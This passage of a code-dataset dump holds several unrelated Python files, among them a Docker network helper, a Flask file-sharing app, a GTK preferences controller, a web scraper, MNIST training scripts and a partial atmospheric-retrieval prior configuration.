DOCKER_NETWORK_MASK, DOCKER_NETWORK, DOCKER_NETWORK_RANGE\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass DockerNetwork(object):\n \"\"\"Internal HassIO Network.\"\"\"\n\n def __init__(self, dock):\n \"\"\"Initialize internal hassio network.\"\"\"\n self.docker = dock\n self.network = self._get_network()\n\n @property\n def name(self):\n \"\"\"Return name of network.\"\"\"\n return DOCKER_NETWORK\n\n @property\n def containers(self):\n \"\"\"Return of connected containers from network.\"\"\"\n return self.network.containers\n\n @property\n def gateway(self):\n \"\"\"Return gateway of the network.\"\"\"\n return DOCKER_NETWORK_MASK[1]\n\n @property\n def supervisor(self):\n \"\"\"Return supervisor of the network.\"\"\"\n return DOCKER_NETWORK_MASK[2]\n\n def _get_network(self):\n \"\"\"Get HassIO network.\"\"\"\n try:\n return self.docker.networks.get(DOCKER_NETWORK)\n except docker.errors.NotFound:\n _LOGGER.info(\"Can't find HassIO network, create new network\")\n\n ipam_pool = docker.types.IPAMPool(\n subnet=str(DOCKER_NETWORK_MASK),\n gateway=str(self.gateway),\n iprange=str(DOCKER_NETWORK_RANGE)\n )\n\n ipam_config = docker.types.IPAMConfig(pool_configs=[ipam_pool])\n\n return self.docker.networks.create(\n DOCKER_NETWORK, driver='bridge', ipam=ipam_config, options={\n \"com.docker.network.bridge.name\": DOCKER_NETWORK,\n })\n\n def attach_container(self, container, alias=None, ipv4=None):\n \"\"\"Attach container to hassio network.\n\n Need run inside executor.\n \"\"\"\n ipv4 = str(ipv4) if ipv4 else None\n\n try:\n self.network.connect(container, aliases=alias, ipv4_address=ipv4)\n except docker.errors.APIError as err:\n _LOGGER.error(\"Can't link container to hassio-net -> %s\", err)\n return False\n\n self.network.reload()\n return True\n\n def detach_default_bridge(self, container):\n \"\"\"Detach default docker bridge.\n\n Need run inside executor.\n \"\"\"\n try:\n default_network = self.docker.networks.get('bridge')\n default_network.disconnect(container)\n\n except docker.errors.NotFound:\n return\n\n except docker.errors.APIError as err:\n _LOGGER.warning(\n \"Can't disconnect container from default -> %s\", err)\n","sub_path":"hassio/dock/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"618433424","text":"import tkinter as tk\nfrom tkinter import ttk\nimport util\n\nclass App:\n def __init__(self, root=None):\n root.title('2020 Opencvdl HW1.5')\n\n mainframe = ttk.Frame(root, padding='8 8 8 8')\n mainframe.grid(row=0, column=0, sticky='wnes')\n root.columnconfigure(0, weight=1)\n root.rowconfigure(0, weight=1)\n\n labelframe1 = ttk.Labelframe(mainframe, text='5. Image Processing')\n labelframe1.grid(column=0, row=0, padx=4, pady=4, sticky='nws')\n\n ttk.Button(labelframe1, text='5.1 Show Train Images', command=util.show_10_images).grid(column=0, row=0, sticky='we')\n ttk.Button(labelframe1, text='5.2 Show Hyperparameters', command=util.show_param).grid(column=0, row=1, sticky='we')\n ttk.Button(labelframe1, text='5.3 Show Model Structure', command=util.show_summary).grid(column=0, row=2, sticky='we')\n ttk.Button(labelframe1, text='5.4 Show Accuracy', command=util.train).grid(column=0, row=3, sticky='we')\n self.index = tk.StringVar()\n self.index.set('(0~9999)')\n ttk.Entry(labelframe1, textvariable=self.index).grid(column=0, row=4, sticky='we')\n ttk.Button(labelframe1, text='5.5 Test', command=test).grid(column=0, row=5, sticky='we')\n\ndef test():\n index = int(app.index.get() or 0)\n util.predict(index)\n\nroot = tk.Tk()\napp = App(root)\nroot.mainloop()","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"39643026","text":"import click\nfrom click.testing import CliRunner\nfrom ppsg.ppsg import main\n\ndef test_main():\n print('run test main')\n runner = CliRunner()\n result = runner.invoke(main, ['--name=demo'])\n print('Exit Code: ' + str(result.exit_code))\n print('Output: ' + result.output)\n assert result.exit_code == 0","sub_path":"tests/test_ppsg.py","file_name":"test_ppsg.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"154070148","text":"from flask import Flask, render_template, request, session, send_from_directory\nfrom os.path import getsize\nfrom util import getSHA512Capital, getFileURL\nfrom database import checkLogin, saveUploadFileMsg, isDLCode\nimport base64\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = \"vdl123456\"\n\n# 访问首页\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n# 判断下载码\n@app.route('/dlMsg', methods=['GET','POST'])\ndef dl():\n if request.method == 'POST':\n code = request.form['dlCode'].strip().upper()\n if code == '--DOWNLOAD':\n return render_template('login.html')\n else:\n res = isDLCode(code)\n if res == False:\n return render_template('index.html', Msg='无此下载码!')\n else:\n session[str(res[0].fiId)] = res[0].fiPath\n dl = str(base64.encodebytes(bytes(str(res[0].fiId),encoding='utf-8'))).replace('\\\\n\\'','').replace('b\\'','')\n return render_template('download.html', res = res, dl = dl)\n\n# 登录\n@app.route('/logon', methods=['GET','POST'])\ndef login():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n # isSavePwd = True if request.form['cb'] == 'remember' else False\n SHA512 = getSHA512Capital(password)\n # try:\n res = checkLogin(username, SHA512)\n # resp = make_response(render_template('login.html'))\n\n if res:\n if res[0].uPermission == 0 :\n session['identity'] = '管理员'\n session['uId'] = res[0].uId\n session['uName'] = res[0].uName\n session['uNickName'] = res[0].uNickName\n if res[0].uPermission == 1 :\n session['identity'] = '上传者'\n session['uId'] = res[0].uId\n session['uName'] = res[0].uName\n session['uNickName'] = res[0].uNickName\n # if isSavePwd :\n # resp.set_cookie('uId',res[0].uId)\n # resp.set_cookie('username',res[0].uName)\n # resp.set_cookie('shapwd',res[0].uPassword)\n # resp.set_cookie('uPermission',res[0].uPermission)\n return render_template('upload.html')\n else:\n Msg = '您输入的用户名或密码错误'\n return render_template('login.html', Msg = Msg)\n\n# 注销登录\n@app.route('/out')\ndef logout():\n url = request.url\n session['identity'] = None\n session['uName'] = None\n session['uNickName'] = None\n return \"OK\"\n\n# 上传文件\n@app.route('/uploadFile', methods=['GET','POST'])\ndef uploadFile():\n if request.method == 'POST':\n # 获取文件\n file = request.files['fileUp']\n # 获取文件提交的方式\n way = request.args.get('way')\n # 获取文件名\n filename = file.filename\n # 获取文件存储的路径和文件提取码\n res = getFileURL(filename)\n # 存储文件\n file.save(res[0])\n # 获取文件大小\n filesize = str(getsize(res[0]))\n # 获取文件提取码\n fileCode = res[1]\n # 文件扩展名\n if int(filename.rfind(\".\")) != -1:\n fileExt = filename[int(filename.rfind(\".\")) + 1:int(len(filename))]\n else:\n fileExt = None\n # 文件名(无扩展名)\n name = filename[0:int(filename.rfind(\".\"))]\n fileMsg = [name, filename, filesize, fileExt, fileCode, res[0], session['uId']]\n if saveUploadFileMsg(fileMsg):\n if way == 'ajax':\n return fileCode\n else:\n return render_template('upload.html', Message = fileCode, fileName = \"文件名:\" + filename, fileSize = \"文件大小:\" + str(int(getsize(res[0])/1024)) + \" KB\")\n else:\n if way == 'ajax':\n return \"ERROR\"\n else:\n return render_template('upload.html', Message = 'ERROR', fileName = \"文件名:\" + filename, fileSize = \"文件大小:\" + str(int(getsize(res[0])/1024)) + \" KB\")\n\n# 下载文件\n@app.route('/download/')\ndef dl_file(fileId):\n dl = str(base64.decodebytes(bytes(fileId,encoding='utf-8'))).replace('\\\\n\\'','').replace('b\\'','').replace('\\'','')\n fileMsg = session[dl]\n fileDir = fileMsg[0:fileMsg.rfind('\\\\')]\n fileName = fileMsg[fileMsg.rfind('\\\\')+1:len(fileMsg)]\n return send_from_directory(fileDir, fileName, as_attachment = True)\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"vDL.py","file_name":"vDL.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385511961","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2006-2007 Vodafone España, S.A.\n# Author: Pablo Martí\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\"\"\"\nControllers for preferences\n\"\"\"\n__version__ = \"$Rev: 1172 $\"\n\nfrom vmc.common.config import config\nfrom vmc.common.encoding import _\nfrom vmc.common.dialers import wvdial\nfrom vmc.common.persistent import net_manager\nfrom vmc.gtk import Controller\nimport vmc.gtk.dialogs as dialogs\nfrom vmc.gtk.models.preferences import VALIDITY_DICT, SMSCItem\nfrom vmc.gtk.tray import tray_available\nfrom vmc.contrib.ValidatedEntry import ValidatedEntry, v_phone\n\nclass PreferencesController(Controller):\n \"\"\"Controller for preferences\"\"\"\n \n def __init__(self, model, parent_ctrl):\n Controller.__init__(self, model)\n self.parent_ctrl = parent_ctrl\n # handler id of self.view['gnomekeyring_checkbutton']::toggled\n self._hid1 = None\n # handler id of self.view['show_icon_checkbutton']::toggled\n self._hid2 = None\n \n def register_view(self, view):\n Controller.register_view(self, view)\n self.setup_signals()\n \n def setup_signals(self):\n # setting up the gnomekeyring checkbox\n def keyringtoggled_cb(checkbutton):\n \"\"\"\n Callback for the gnomekeyring_checkbutton::toggled signal\n \n we are gonna try to import gnomekeyring beforehand, if we\n get an ImportError we will inform the user about what she\n should do\n \"\"\"\n if checkbutton.get_active():\n try:\n import gnomekeyring\n except ImportError:\n # block the handler so the set_active method doesnt executes\n # this callback again\n checkbutton.handler_block(self._hid1)\n checkbutton.set_active(False)\n # restore handler\n checkbutton.handler_unblock(self._hid1)\n message = _(\"Missing dependency\")\n details = _(\n\"\"\"To use this feature you need the gnomekeyring module\"\"\")\n dialogs.open_warning_dialog(message, details)\n return True\n \n # keep a reference of the handler id\n self._hid1 = self.view['gnomekeyring_checkbutton'].connect('toggled',\n keyringtoggled_cb)\n \n def show_icon_cb(checkbutton):\n if checkbutton.get_active():\n if not tray_available():\n # block the handler so the set_active method doesnt\n # executes this callback again\n checkbutton.handler_block(self._hid2)\n checkbutton.set_active(False)\n # restore handler\n checkbutton.handler_unblock(self._hid2)\n message = _(\"Missing dependency\")\n details = _(\"\"\"\nTo use this feature you need either pygtk >= 2.10 or the egg.trayicon module\n\"\"\")\n dialogs.open_warning_dialog(message, details)\n return True\n else:\n # attach and show systray icon\n self.parent_ctrl._setup_trayicon(ignoreconf=True)\n # if there's an available tray, enable this chkbtn\n close_win_chkbtn = self.view['close_window_checkbutton']\n close_win_chkbtn.set_sensitive(True)\n \n else:\n # detach icon from systray\n self.parent_ctrl._detach_trayicon()\n # close_window_checkbutton depends on this checkbutton\n # being active, thats why we set insensitive the chkbtn\n self.view['close_window_checkbutton'].set_sensitive(False)\n self.view['close_window_checkbutton'].set_active(False)\n \n # keep a reference of the handler id\n self._hid2 = self.view['show_icon_checkbutton'].connect('toggled',\n show_icon_cb)\n \n def get_selected_dialer_profile(self):\n model = self.view['dialer_profiles_combobox'].get_model()\n index = self.view['dialer_profiles_combobox'].get_active()\n if index < 0:\n return None\n else:\n name = model[index][0]\n return wvdial.get_profile_from_name(name)\n \n # ------------------------------------------------------------ #\n # Signals Handling #\n # ------------------------------------------------------------ #\n def _on_traffic_entry_value_changed(self):\n max_traffic = self.view['maximum_traffic_entry'].get_value()\n threshold = self.view['threshold_entry'].get_value()\n if threshold > max_traffic:\n self.view['threshold_entry'].set_value(max_traffic)\n\n def on_maximum_traffic_entry_value_changed(self, widget):\n self._on_traffic_entry_value_changed()\n\n def on_threshold_entry_value_changed(self, widget):\n self._on_traffic_entry_value_changed()\n\n def on_usage_notification_check_toggled(self, widget):\n self.view['threshold_entry'].set_sensitive(widget.get_active())\n\n def on_preferences_ok_button_clicked(self, widget):\n # first page\n if self.view['custom_profile_checkbutton'].get_active():\n # get combobox option\n profile = self.get_selected_dialer_profile()\n config.current_profile.set('connection',\n 'dialer_profile', profile.name)\n else:\n # use default profile\n config.current_profile.set('connection',\n 'dialer_profile', 'default')\n \n config.current_profile.write()\n \n # second page\n exit_without_confirmation = \\\n self.view['exit_without_confirmation_checkbutton'].get_active()\n minimize_to_tray = self.view['close_window_checkbutton'].get_active()\n show_icon = self.view['show_icon_checkbutton'].get_active()\n manage_keyring = self.view['gnomekeyring_checkbutton'].get_active()\n \n config.setboolean('preferences', 'exit_without_confirmation',\n exit_without_confirmation)\n config.setboolean('preferences', 'show_icon', show_icon)\n config.setboolean('preferences', 'close_minimizes', minimize_to_tray)\n config.setboolean('preferences', 'manage_keyring', manage_keyring)\n \n # third page\n model = self.view['browser_combobox'].get_model()\n iter = self.view['browser_combobox'].get_active_iter()\n browser_opt = model.get_value(iter, 0)\n \n if browser_opt == 'xdg-open':\n config.set('preferences', 'browser', browser_opt)\n else:\n browser_binary = self.view['browser_entry'].get_text()\n if not browser_binary:\n return\n \n config.set('preferences', 'browser', browser_binary)\n \n model = self.view['mail_combobox'].get_model()\n iter = self.view['mail_combobox'].get_active_iter()\n mail_opt = model.get_value(iter, 0)\n \n if mail_opt == 'xdg-email':\n config.set('preferences', 'mail', mail_opt)\n else:\n mail_binary = self.view['mail_entry'].get_text()\n if not mail_binary:\n return\n \n config.set('preferences', 'mail', mail_binary)\n\n # fourth page\n #XXX: To Current Profile if any?\n max_traffic = self.view['maximum_traffic_entry'].get_value()\n threshold = self.view['threshold_entry'].get_value()\n usage_notification = self.view['usage_notification_check'].get_active()\n config.set('preferences', 'max_traffic', str(int(max_traffic)))\n config.set('preferences', 'traffic_threshold', str(int(threshold)))\n config.setboolean('preferences', 'usage_notification', usage_notification)\n\n config.write()\n \n self._hide_ourselves()\n \n def on_preferences_cancel_button_clicked(self, widget):\n self._hide_ourselves()\n \n def _hide_ourselves(self):\n self.model.unregister_observer(self)\n self.view.hide()\n \n # second notebook page stuff\n def on_custom_profile_checkbutton_toggled(self, button):\n if button.get_active():\n self.view['vbox2'].set_sensitive(True)\n else:\n config.current_profile.set('connection',\n 'dialer_profile', 'default')\n config.current_profile.write()\n self.view['vbox2'].set_sensitive(False)\n \n self.view.setup_dialer_combobox()\n \n def on_browser_combobox_changed(self, combobox):\n model = combobox.get_model()\n iter = combobox.get_active_iter()\n if model.get_value(iter, 0) == 'xdg-open':\n self.view['hbox6'].set_sensitive(False)\n else:\n self.view['hbox6'].set_sensitive(True)\n \n def on_mail_combobox_changed(self, combobox):\n model = combobox.get_model()\n iter = combobox.get_active_iter()\n if model.get_value(iter, 0) == 'xdg-email':\n self.view['hbox7'].set_sensitive(False)\n else:\n self.view['hbox7'].set_sensitive(True)\n\n\nclass SMSPreferencesController(Controller):\n \"\"\"\n Controller for the SMS preferences window\n \"\"\"\n def __init__(self, model):\n Controller.__init__(self, model)\n self.initial_smsc = None\n self.smsc_entry = ValidatedEntry(v_phone)\n \n def register_view(self, view):\n Controller.register_view(self, view)\n self._setup()\n \n def _setup(self):\n d = self.model.get_smsc()\n def get_smsc_cb(smsc):\n if not smsc:\n # XXX:\n return\n \n self.smsc_entry.set_text(smsc)\n self.initial_smsc = smsc\n self._check_smsc(smsc)\n \n d.addCallback(get_smsc_cb)\n self._setup_message_options()\n \n def _check_smsc(self, smsc):\n d = self.model.get_imsi()\n def get_imsi_cb(imsi):\n # we will setup the combobox options here\n items = []\n \n network = net_manager.get_network_by_id(imsi[:5])\n if not network:\n # we dont know anything about this network operator, we will\n # just show 'Unknown' in the combobox, giving no options to\n # the user\n items.append(SMSCItem(_(\"Unknown\")))\n else:\n if network.smsc:\n # we know the network and we have its SMSC\n if smsc != network.smsc:\n # as the SMSC is different that the stored one,\n # we are gonna append \"Custom\" too\n items.append(SMSCItem(_(\"Custom\")))\n items.append(SMSCItem(network.get_full_name(),\n network.smsc, active=False))\n else:\n items.append(SMSCItem(network.get_full_name(),\n network.smsc))\n else:\n # we dont know the SMSC of this network\n items.append(SMSCItem(_(\"Unknown\")))\n \n self.view.populate_smsc_combobox(items)\n \n d.addCallback(get_imsi_cb)\n \n def _setup_message_options(self):\n validity = config.get('sms', 'validity')\n if not validity:\n config.set('sms', 'validity', 'maximum')\n config.write()\n validity = 'maximum'\n \n combobox = self.view['validity_combobox']\n model = combobox.get_model()\n \n for i, row in enumerate(model):\n option = row[0]\n if validity == VALIDITY_DICT[option]:\n combobox.set_active(i)\n break\n \n def _hide_myself(self):\n self.view.hide()\n self.model.unregister_observer(self)\n \n def on_combobox1_changed(self, combobox):\n smscobj = self._get_active_combobox_item('combobox1')\n if smscobj and smscobj.number:\n self.smsc_entry.set_text(smscobj.number)\n \n def _get_active_combobox_item(self, comboname):\n combobox = self.view[comboname]\n model = combobox.get_model()\n active = combobox.get_active()\n if active < 0:\n return None\n \n return model[active][0]\n \n def on_ok_button_clicked(self, widget):\n # save message options\n validity = self._get_active_combobox_item('validity_combobox')\n if validity:\n validity_key = VALIDITY_DICT[validity]\n config.set('sms', 'validity', validity_key)\n config.write()\n \n # check that we have changed the SMSC info\n if self.smsc_entry.isvalid():\n smscnumber = self.smsc_entry.get_text()\n if self.initial_smsc != smscnumber:\n d = self.model.set_smsc(smscnumber)\n d.addCallback(lambda x: self._hide_myself())\n else:\n self._hide_myself()\n \n def on_cancel_button_clicked(self, widget):\n self._hide_myself()\n\n","sub_path":"attic/VodafoneMobileConnectCard/build/opt/vmc/lib/python2.5/site-packages/Vodafone_Mobile_Connect_Card_driver_for_Linux-1.99.19-py2.5.egg/vmc/gtk/controllers/preferences.py","file_name":"preferences.py","file_ext":"py","file_size_in_byte":14091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"317082024","text":"# coding:utf-8\n\nimport urllib2\nimport re\n\n\nclass Spider:\n def __init__(self):\n self.page = 1\n self.switch = True\n\n def load_page(self):\n url = \"http://www.neihan8.com/article/list_5_\" + str(self.page) + \".html\"\n headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3534.4 Safari/537.36\"}\n\n req = urllib2.Request(url, headers=headers)\n response = urllib2.urlopen(req)\n\n html = response.read()\n gbk_html = html.decode('gbk').encode('utf-8')\n # print(gbk_html)\n\n pattern = re.compile(r'(.*?)', re.S)\n item_list = pattern.findall(gbk_html)\n # return item_list\n self.deal_data(item_list, self.page)\n\n def deal_data(self, item_list, page):\n '''print page'''\n print(\"******** %d page complete ********\" % page)\n for item in item_list:\n print(\"============Downloading=============\")\n item = item.replace(\"

\", \"\").replace(\"

\", \"\").replace(\"
\", \"\").replace(\"”\", \"\")\\\n .replace(\"…\", \"\").replace(\"“\", \"\")\n # print(item)\n self.write_to_file(item)\n\n def write_to_file(self, text):\n my_file = open(\"./xiaohua.txt\", 'a') # 追加形式打开文件\n my_file.write(text)\n my_file.write(\"-------------------------------------------\")\n my_file.close()\n\n def work(self):\n while self.switch:\n self.load_page()\n command = raw_input(\"enter to continue, quit to stop!\")\n if command == \"quit\":\n self.switch = False\n self.page += 1\n\n print('thank to use!!')\n\n\nif __name__ == \"__main__\":\n '''\n =====================\n Spider\n =====================\n '''\n print('Enter key to start!')\n raw_input()\n\n my_spider = Spider()\n my_spider.work()\n\n\n","sub_path":"02/08_spider.py","file_name":"08_spider.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"332105007","text":"class PosTagFeatureExtractor:\n def __init__(self):\n self.tags = {}\n self.counter = 0\n\n def extract(self, tagPairs):\n num = 6\n features = dict([(\"pos\"+str(num), -1) for num in range(0,num)])\n tdate = False\n p = 1\n for tagPair in tagPairs:\n if tagPair[1] not in self.tags:\n self.tags[tagPair[1]] = self.counter\n self.counter += 1\n if tagPair[0] != \"TDATE\":\n if p > num-1:\n break\n elif p > num/2-1:\n features[\"pos\" + str(p)] = self.tags[tagPair[1]]\n else:\n features[\"pos0\"] = features[\"pos1\"]\n features[\"pos1\"] = features[\"pos2\"]\n features[\"pos2\"] = self.tags[tagPair[1]]\n else:\n p += 1\n\n return features\n","sub_path":"pos_tag_feature_extractor.py","file_name":"pos_tag_feature_extractor.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"228506417","text":"\"\"\"Parse raw output from Espritz into combined FASTA file.\"\"\"\n\nimport os\n\nscore_records, label_records = [], []\npaths = [path for path in os.listdir('out/raw/') if path.endswith('espritz')]\nfor path in sorted(paths):\n # Parse raw output to scores and labels\n accession = path.split('.')[0]\n with open(f'out/raw/{accession}.espritz') as file:\n star_count = 0\n scores, labels = [], []\n for line in file:\n if line.startswith('*'):\n star_count += 1\n elif star_count >= 2:\n value = line.split()[1]\n sym = '1' if float(value) >= 0.2644 else '0' # Cutoff was pulled from espritz code; unclear if threshold > or >=, so may differ in edge cases\n scores.append(value)\n labels.append(sym)\n scorestring = '\\n'.join(scores) + '\\n'\n labelstring = '\\n'.join([''.join(labels)[i:i+80] for i in range(0, len(labels), 80)]) + '\\n'\n\n # Store strings with header\n with open(f'../../mobidb_validation/format_seqs/out/seqs/{accession}.fasta') as file:\n header = file.readline()\n score_records.append((header, scorestring))\n label_records.append((header, labelstring))\n\n# Write consolidated output to file\nwith open('out/espritzs_scores.fasta', 'w') as file:\n for header, scorestring in score_records:\n file.write(header + scorestring)\n\nwith open('out/espritzs_labels.fasta', 'w') as file:\n for header, labelstring in label_records:\n file.write(header + labelstring)\n\n\"\"\"\nDEPENDENCIES\n../../mobidb_validation/format_seqs/format_seqs.py\n./predict.sh\n\"\"\"","sub_path":"analysis/predictor_eval/espritzs_mobidb/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"578223097","text":"from time import sleep\nfrom os import system, listdir, path, sys\nfrom datetime import datetime\nfrom subprocess import Popen, DEVNULL\n\ndef alert(alarm, x):\n for i in range(x):\n print(Fore.YELLOW + alarm+Style.RESET_ALL)\n sleep(1)\n return\n\ndef check_dir(child, parent):\n file_dest = parent + child\n if child[:-1] not in listdir(parent):\n command = 'mkdir ' + file_dest\n system(command)\n print(command)\n return file_dest\n else:\n return file_dest\n\ndef check_file(fname, file_dest):\n if fname not in listdir(file_dest):\n return file_dest +fname\n else:\n return False\n\ndef log_it(text):\n fname = '. /log/'+str(datetime.today()).rsplit(' ',1)[0]+'.log'\n text = str(text)\n with open(fname, 'a+') as f:\n f.write(str(datetime.now())[:-7]+'\\t'+text+'\\n')\n f.close()\n\ndef run_in_background(args):\n Popen(args,stdout=DEVNULL, stderr=DEVNULL)\n","sub_path":"easy_utils.py","file_name":"easy_utils.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"408907979","text":"import tensorflow as tf\nimport numpy as np \nfrom sklearn.preprocessing import OneHotEncoder\n\ndef reshape_2d_to_1d(data, input_shape):\n\treturn tf.reshape(data, [data.shape[0]] + input_shape)\n\ndef data_to_float32(data):\n\treturn tf.cast(data, dtype=tf.float32)\n\ndef model_struct(input_shape):\n\tmodel = tf.keras.Sequential([\n\t\ttf.keras.layers.Conv2D(28, (3, 3), input_shape=input_shape),\n\t\ttf.keras.layers.MaxPooling2D(pool_size=(2, 2)),\n\t\ttf.keras.layers.Flatten(),\n\t\ttf.keras.layers.Dense(128, activation=tf.nn.relu),\n\t\ttf.keras.layers.Dense(10, activation=tf.nn.softmax)\n\t\t])\n\n\treturn model\n\n(X_train, y_train), (X_test, y_test) = tf.keras.datasets.mnist.load_data()\n\ninput_shape = [28, 28, 1]\n\nX_train = reshape_2d_to_1d(X_train, input_shape)\nX_test = reshape_2d_to_1d(X_test, input_shape)\n\nX_train = data_to_float32(X_train)\nX_test = data_to_float32(X_test)\n\nX_train /= 255\nX_test /= 255\n\ny_train = tf.reshape(y_train, [-1, 1])\ny_test = tf.reshape(y_test, [-1, 1])\n\nencoder = OneHotEncoder(sparse=False)\n\ny_train = tf.convert_to_tensor(encoder.fit_transform(y_train))\ny_test = tf.convert_to_tensor(encoder.fit_transform(y_test))\n\nmodel = model_struct(input_shape)\n\nloss_fn = tf.keras.losses.CategoricalCrossentropy(from_logits=True)\noptimizer = tf.keras.optimizers.Adam()\n\nmodel.compile(optimizer=optimizer, loss=loss_fn, metrics=['accuracy'])\n\nh = model.fit(x=X_train, y=y_train, epochs=20, validation_data=(X_test, y_test), batch_size=64)\n\nmodel.save('model.h5')","sub_path":"Drawable-Handwritten-Digit-Classifier/mnistDataLoad.py","file_name":"mnistDataLoad.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"409640791","text":"\"\"\"\nA-priori assumptions for the passive-only retrieval with only a single\nspecies of frozen hydrometeors.\n\nAttributes:\n\n ice: Hydrometeor species representing frozen hydrometeors.\n\n rain: Hydrometeor species representing precipitating, liquid hydrometeors.\n\n rh_a_priori: A priori provider for humidity retrieval.\n\n cloud_water_a_priori: A priori provider for cloud water retrieval.\n\"\"\"\nimport os\nfrom mcrf.psds import D14NDmIce, D14NDmLiquid, D14NDmSnow\nfrom mcrf.hydrometeors import Hydrometeor\nfrom parts.retrieval.a_priori import *\nfrom parts.scattering.psd import Binned\nfrom parts.jacobian import Atanh, Log10, Identity, Composition\n\nliras_path = os.environ[\"LIRAS_PATH\"]\nscattering_data = os.path.join(liras_path, \"data\", \"scattering\")\n\nsettings = {\"single_species\": True}\n\n################################################################################\n# Ice particles\n################################################################################\n\n\ndef n0_a_priori(t):\n t = t - 272.15\n return np.log10(np.exp(-0.076586 * t + 17.948))\n\n\ndef dm_a_priori(t):\n n0 = 10**n0_a_priori(t)\n iwc = 1e-6\n dm = (4.0**4 * iwc / (np.pi * 917.0) / n0)**0.25\n return dm\n\n\nice_shape = os.path.join(scattering_data, \"8-ColumnAggregate.xml\")\nice_shape_meta = os.path.join(scattering_data, \"8-ColumnAggregate.meta.xml\")\n\nmd_z_grid = np.linspace(0, 20e3, 5)\n#md_z_grid = np.array([5e3, 15e3])\nice_mask = And(TropopauseMask(), TemperatureMask(0.0, 273.15))\nice_covariance = Diagonal(1 * np.ones(md_z_grid.size),\n mask=ice_mask,\n mask_value=1e-12)\nice_covariance = SpatialCorrelation(ice_covariance, 2e3, mask=ice_mask)\n\n# n0\npoints_n0 = 2\nice_covariance = Diagonal(1, mask=ice_mask, mask_value=1e-12)\nice_covariance = SpatialCorrelation(ice_covariance, 5e3, mask=ice_mask)\nice_n0_a_priori = FunctionalAPriori(\"ice_n0\",\n \"temperature\",\n n0_a_priori,\n ice_covariance,\n mask=ice_mask,\n mask_value=4)\nice_n0_a_priori = MaskedRegularGrid(ice_n0_a_priori,\n points_n0,\n ice_mask,\n \"altitude\",\n provide_retrieval_grid=False,\n transition=1e3)\n\npoints_dm = 5\nice_covariance = Diagonal(300e-6**2, mask=ice_mask, mask_value=1e-16)\nice_covariance = SpatialCorrelation(ice_covariance, 5e3, mask=ice_mask)\nice_dm_a_priori = FunctionalAPriori(\"ice_dm\",\n \"temperature\",\n dm_a_priori,\n ice_covariance,\n mask=ice_mask,\n mask_value=1e-6)\nice_dm_a_priori = MaskedRegularGrid(ice_dm_a_priori,\n points_dm,\n ice_mask,\n \"altitude\",\n provide_retrieval_grid=False)\n\nice = Hydrometeor(\"ice\", D14NDmIce(), [ice_n0_a_priori, ice_dm_a_priori],\n ice_shape, ice_shape_meta)\nice.transformations = [\n Composition(Log10(), PiecewiseLinear(ice_n0_a_priori)),\n Composition(Identity(), PiecewiseLinear(ice_dm_a_priori))\n]\nice.limits_low = [4, 1e-8]\nice.radar_only = False\n\n################################################################################\n# Cloud water\n################################################################################\n\nliquid_mask = TemperatureMask(230, 300.0)\nliquid_covariance = Diagonal(1**2)\ncloud_water_a_priori = FixedAPriori(\"cloud_water\",\n -5,\n liquid_covariance,\n mask=liquid_mask,\n mask_value=-18)\ncloud_water_a_priori = MaskedRegularGrid(cloud_water_a_priori, 5, liquid_mask,\n \"altitude\")\n\n################################################################################\n# Rain particles\n################################################################################\n\nrain_shape = os.path.join(scattering_data, \"LiquidSphere.xml\")\nrain_shape_meta = os.path.join(scattering_data, \"LiquidSphere.meta.xml\")\n\n# mass density\nrain_mask = TemperatureMask(273.15, 340.0)\nrain_covariance = Diagonal(4, mask=rain_mask, mask_value=1e-16)\n\nrain_md_a_priori = FixedAPriori(\"rain_md\", -5, rain_covariance)\nrain_md_a_priori = ReducedVerticalGrid(rain_md_a_priori, md_z_grid, \"altitude\")\n\n# n0\nrain_covariance = Diagonal(1, mask=rain_mask, mask_value=1e-16)\nrain_n0_a_priori = FixedAPriori(\"rain_n0\",\n 7,\n rain_covariance,\n mask=rain_mask,\n mask_value=2)\nrain_n0_a_priori = MaskedRegularGrid(rain_n0_a_priori,\n 2,\n rain_mask,\n \"altitude\",\n provide_retrieval_grid=False)\n\nz_grid = np.linspace(0, 20e3, 6)\nrain_covariance = Diagonal(500e-6**2, mask=rain_mask, mask_value=1e-16)\nrain_dm_a_priori = FixedAPriori(\"rain_dm\",\n 500e-6,\n 